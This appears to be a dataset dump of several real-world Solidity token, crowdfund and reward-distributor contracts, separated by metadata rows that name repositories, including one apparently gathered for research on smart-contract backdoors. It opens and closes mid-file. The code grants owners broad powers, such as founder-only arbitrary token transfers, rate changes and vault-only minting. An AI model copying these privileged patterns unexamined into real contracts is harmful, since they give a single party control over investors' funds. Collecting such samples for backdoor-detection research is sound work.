_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeERC20 for IERC20;
address public immutable BULLOX;
address public immutable treasury;
uint public immutable epochLength;
uint public nextEpochBlock;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _bullox, uint _epochLength, uint _nextEpochBlock) {
require(_treasury != address(0));
treasury = _treasury;
require(_bullox != address(0));
BULLOX = _bullox;
epochLength = _epochLength;
nextEpochBlock = _nextEpochBlock;
}
function distribute() external returns (bool) {
if (nextEpochBlock <= block.number) {
nextEpochBlock = nextEpochBlock.add(epochLength); // set next epoch block
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(BULLOX).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 332,126 | 646 |
dad907d1a6cb92d283e636fd77ccc4a057108ef15b6a199aa0d33e39cd0286ca
| 12,823 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x5fc677acf6f93a6ff9bae139ba85aea0a246d24d.sol
| 2,843 | 11,281 |
pragma solidity ^0.4.15;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function transfer(address _to, uint256 _value) returns (bool) {
if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) {
uint256 _allowance = allowed[_from][msg.sender];
allowed[_from][msg.sender] = _allowance.sub(_value);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract HRAToken is BasicToken {
using SafeMath for uint256;
string public name = "HERA"; //name of the token
string public symbol = "HRA"; //symbol of the token
uint8 public decimals = 10; //decimals
uint256 public initialSupply = 30000000 * 10**10; //total supply of Tokens
//variables
uint256 public totalAllocatedTokens; //variable to keep track of funds allocated
uint256 public tokensAllocatedToCrowdFund; //funds allocated to crowdfund
//addresses
address public founderMultiSigAddress; //Multi sign address of founder
address public crowdFundAddress; //Address of crowdfund contract
//events
event ChangeFoundersWalletAddress(uint256 _blockTimeStamp, address indexed _foundersWalletAddress);
//modifierss
modifier nonZeroAddress(address _to){
require(_to != 0x0);
_;
}
modifier onlyFounders(){
require(msg.sender == founderMultiSigAddress);
_;
}
modifier onlyCrowdfund(){
require(msg.sender == crowdFundAddress);
_;
}
//creation of token contract
function HRAToken(address _crowdFundAddress, address _founderMultiSigAddress) {
crowdFundAddress = _crowdFundAddress;
founderMultiSigAddress = _founderMultiSigAddress;
// Assigned balances to crowdfund
balances[crowdFundAddress] = initialSupply;
}
//function to keep track of the total token allocation
function changeTotalSupply(uint256 _amount) onlyCrowdfund {
totalAllocatedTokens += _amount;
}
//function to change founder Multisig wallet address
function changeFounderMultiSigAddress(address _newFounderMultiSigAddress) onlyFounders nonZeroAddress(_newFounderMultiSigAddress) {
founderMultiSigAddress = _newFounderMultiSigAddress;
ChangeFoundersWalletAddress(now, founderMultiSigAddress);
}
}
contract HRACrowdfund {
using SafeMath for uint256;
HRAToken public token; // Token contract reference
address public founderMulSigAddress; // Founders multisig address
uint256 public exchangeRate; // Use to find token value against one ether
uint256 public ethRaised; // Counter to track the amount raised
bool private tokenDeployed = false; // Flag to track the token deployment -- only can be set once
uint256 public tokenSold; // Counter to track the amount of token sold
uint256 public manualTransferToken; // Counter to track the amount of manually tranfer token
uint256 public tokenDistributeInDividend; // Counter to track the amount of token shared to investors
uint8 internal EXISTS = 1; // Flag to track the existing investors
uint8 internal NEW = 0; // Flag to track the non existing investors
address[] public investors; // Investors address
mapping (address => uint8) internal previousInvestor;
//events
event ChangeFounderMulSigAddress(address indexed _newFounderMulSigAddress , uint256 _timestamp);
event ChangeRateOfToken(uint256 _timestamp, uint256 _newRate);
event TokenPurchase(address indexed _beneficiary, uint256 _value, uint256 _amount);
event AdminTokenSent(address indexed _to, uint256 _value);
event SendDividend(address indexed _to , uint256 _value, uint256 _timestamp);
//Modifiers
modifier onlyfounder() {
require(msg.sender == founderMulSigAddress);
_;
}
modifier nonZeroAddress(address _to) {
require(_to != 0x0);
_;
}
modifier onlyPublic() {
require(msg.sender != founderMulSigAddress);
_;
}
modifier nonZeroEth() {
require(msg.value != 0);
_;
}
modifier isTokenDeployed() {
require(tokenDeployed == true);
_;
}
// Constructor to initialize the local variables
function HRACrowdfund(address _founderMulSigAddress) {
founderMulSigAddress = _founderMulSigAddress;
exchangeRate = 320;
}
// Attach the token contract, can only be done once
function setToken(address _tokenAddress) nonZeroAddress(_tokenAddress) onlyfounder {
require(tokenDeployed == false);
token = HRAToken(_tokenAddress);
tokenDeployed = true;
}
// Function to change the exchange rate
function changeExchangeRate(uint256 _rate) onlyfounder returns (bool) {
if(_rate != 0){
exchangeRate = _rate;
ChangeRateOfToken(now,_rate);
return true;
}
return false;
}
// Function to change the founders multisig address
function ChangeFounderWalletAddress(address _newAddress) onlyfounder nonZeroAddress(_newAddress) {
founderMulSigAddress = _newAddress;
ChangeFounderMulSigAddress(founderMulSigAddress,now);
}
// Buy token function
function buyTokens (address _beneficiary)
onlyPublic
nonZeroAddress(_beneficiary)
nonZeroEth
isTokenDeployed
payable
public
returns (bool)
{
uint256 amount = (msg.value.mul(exchangeRate)).div(10 ** 8);
require(checkExistence(_beneficiary));
if (token.transfer(_beneficiary, amount)) {
fundTransfer(msg.value);
previousInvestor[_beneficiary] = EXISTS;
ethRaised = ethRaised.add(msg.value);
tokenSold = tokenSold.add(amount);
token.changeTotalSupply(amount);
TokenPurchase(_beneficiary, msg.value, amount);
return true;
}
return false;
}
// Function to send token to user address
function sendToken (address _to, uint256 _value)
onlyfounder
nonZeroAddress(_to)
isTokenDeployed
returns (bool)
{
if (_value == 0)
return false;
require(checkExistence(_to));
uint256 _tokenAmount= _value * 10 ** uint256(token.decimals());
if (token.transfer(_to, _tokenAmount)) {
previousInvestor[_to] = EXISTS;
manualTransferToken = manualTransferToken.add(_tokenAmount);
token.changeTotalSupply(_tokenAmount);
AdminTokenSent(_to, _tokenAmount);
return true;
}
return false;
}
// Function to check the existence of investor
function checkExistence(address _beneficiary) internal returns (bool) {
if (token.balanceOf(_beneficiary) == 0 && previousInvestor[_beneficiary] == NEW) {
investors.push(_beneficiary);
}
return true;
}
// Function to calculate the percentage of token share to the existing investors
function provideDividend(uint256 _dividend)
onlyfounder
isTokenDeployed
{
uint256 _supply = token.totalAllocatedTokens();
uint256 _dividendValue = _dividend.mul(10 ** uint256(token.decimals()));
for (uint8 i = 0 ; i < investors.length ; i++) {
uint256 _value = ((token.balanceOf(investors[i])).mul(_dividendValue)).div(_supply);
dividendTransfer(investors[i], _value);
}
}
// Function to send the calculated tokens amount to the investor
function dividendTransfer(address _to, uint256 _value) private {
if (token.transfer(_to,_value)) {
token.changeTotalSupply(_value);
tokenDistributeInDividend = tokenDistributeInDividend.add(_value);
SendDividend(_to,_value,now);
}
}
// Function to transfer the funds to founders account
function fundTransfer(uint256 _funds) private {
founderMulSigAddress.transfer(_funds);
}
// Crowdfund entry
// send ether to the contract address
function () payable {
buyTokens(msg.sender);
}
}
| 143,679 | 647 |
88b5672222c71dfdea06e6de7276063588bb54854a9e6bd4181e4436de79f76f
| 12,693 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/a9/a9079d37a06894e8ed2a6e5fb20e500d6a57563d_WACEO.sol
| 2,773 | 10,211 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
abstract contract ERC20 is IERC20 {
using SafeMath for uint256;
// TODO comment actual hash value.
bytes32 constant private ERC20TOKEN_ERC1820_INTERFACE_ID = keccak256("ERC20Token");
// Present in ERC777
mapping (address => uint256) internal _balances;
// Present in ERC777
mapping (address => mapping (address => uint256)) internal _allowances;
// Present in ERC777
uint256 internal _maxSupply = 100000000 * (10 ** 9); // 100 Million Tokens;
// Present in ERC777
uint256 internal _totalSupply;
// Present in ERC777
string internal _name;
// Present in ERC777
string internal _symbol;
// Present in ERC777
uint8 internal _decimals;
constructor (string memory name_, string memory symbol_, uint8 decimals_) {
_name = name_;
_symbol = symbol_;
_decimals = decimals_;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function maxSupply() public view returns (uint256) {
return _maxSupply;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender]
.sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender]
.sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account_, uint256 amount_) internal virtual {
require(account_ != address(0), "ERC20: mint to the zero address");
require(_totalSupply.add(amount_) <= _maxSupply, "ERC20: mint more than max supply");
_beforeTokenTransfer(address(this), account_, amount_);
_totalSupply = _totalSupply.add(amount_);
_balances[account_] = _balances[account_].add(amount_);
emit Transfer(address(this), account_, amount_);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from_, address to_, uint256 amount_) internal virtual { }
}
interface IOwnable {
function owner() external view returns (address);
function renounceOwnership() external;
function transferOwnership(address newOwner_) external;
}
contract Ownable is IOwnable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view override returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual override onlyOwner() {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner_) public virtual override onlyOwner() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner_);
_owner = newOwner_;
}
}
contract VaultOwned is Ownable {
address internal _vault;
function setVault(address vault_) external onlyOwner() returns (bool) {
_vault = vault_;
return true;
}
function vault() public view returns (address) {
return _vault;
}
modifier onlyVault() {
require(_vault == msg.sender, "VaultOwned: caller is not the Vault");
_;
}
}
contract WACEO is ERC20, VaultOwned {
using SafeMath for uint256;
constructor() ERC20("WACEO", "WACEO", 9) {
}
function mint(address account_, uint256 amount_) external onlyVault() {
_mint(account_, amount_);
}
function burn(uint256 amount) public virtual {
_burn(msg.sender, amount);
}
function burnFrom(address account_, uint256 amount_) public virtual {
_burnFrom(account_, amount_);
}
function _burnFrom(address account_, uint256 amount_) public virtual {
uint256 decreasedAllowance_ =
allowance(account_, msg.sender).sub(amount_,
"ERC20: burn amount exceeds allowance");
_approve(account_, msg.sender, decreasedAllowance_);
_burn(account_, amount_);
}
}
| 109,204 | 648 |
3f4c143bd916907665df338b6e952eac30327727980635899cc46a9ce4f98613
| 12,522 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/b1/b1aafcebda6786a6a756863f24497fb794e62af9_FundzLPTimeLock.sol
| 2,787 | 11,380 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.2;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
